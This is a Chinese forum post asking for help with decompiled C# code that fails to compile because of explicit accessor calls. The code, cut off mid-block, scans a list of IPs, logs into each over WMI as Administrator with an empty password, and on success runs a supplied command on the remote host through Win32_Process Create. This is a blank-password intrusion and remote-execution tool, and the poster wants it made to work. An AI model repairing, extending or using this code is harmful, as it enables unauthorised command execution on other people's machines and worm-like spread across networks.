Reflector 反编译后的问题
小弟第一次用REF 反编NET文件 想不到就卡住了 提示无法显式调用运算符或访问器以下为原文
c:\ScnClass.cs(25,25): error CS0571: “System.Management.ConnectionOptions.Username.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(26,25): error CS0571: “System.Management.ConnectionOptions.Password.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(27,25): error CS0571: “System.Management.ManagementOptions.Timeout.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(28,25): error CS0571: “System.Management.ConnectionOptions.Authority.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(29,25): error CS0571: “System.Management.ConnectionOptions.Authentication.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(30,25): error CS0571: “System.Management.ConnectionOptions.Impersonation.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(31,25): error CS0571: “System.Management.ConnectionOptions.EnablePrivileges.set”: 无法显式调用运算符或访问器
c:\ScnClass.cs(44,42): error CS0571: “System.Management.ManagementBaseObject.this[string].set”: 无法显式调用运算符或访问器
以下为原码
string str = this.ips[int.Parse(Thread.CurrentThread.Name.ToString())].ToString();
Console.Write("Scan Host(s):" + str + "\r\n");
ConnectionOptions options = new ConnectionOptions();
options.set_Username("Administrator");
options.set_Password("");
options.set_Timeout(new TimeSpan(0x2710L));
options.set_Authority("ntlmdomain:" + str);
options.set_Authentication(6);
options.set_Impersonation(3);
options.set_EnablePrivileges(true);
ManagementPath path = new ManagementPath(@"\\" + str + @"\root\cimv2:Win32_Process");
ManagementScope scope = new ManagementScope(path, options);
try
{
ScnClass class3;
scope.Connect();
Console.Write(str + " Password is null,Scanned IP like these:" + ((this.rips.Count + 1)).ToString() + ",Sending Command Now...\r\n");
try
{
ObjectGetOptions options2 = new ObjectGetOptions();
ManagementClass class2 = new ManagementClass(scope, path, options2);
ManagementBaseObject methodParameters = class2.GetMethodParameters("Create");
methodParameters.set_Item("CommandLine", this.cmdLine);
class2.InvokeMethod("Create", methodParameters, null);
lock ((class3 = this))
{
希望大哥们帮修改下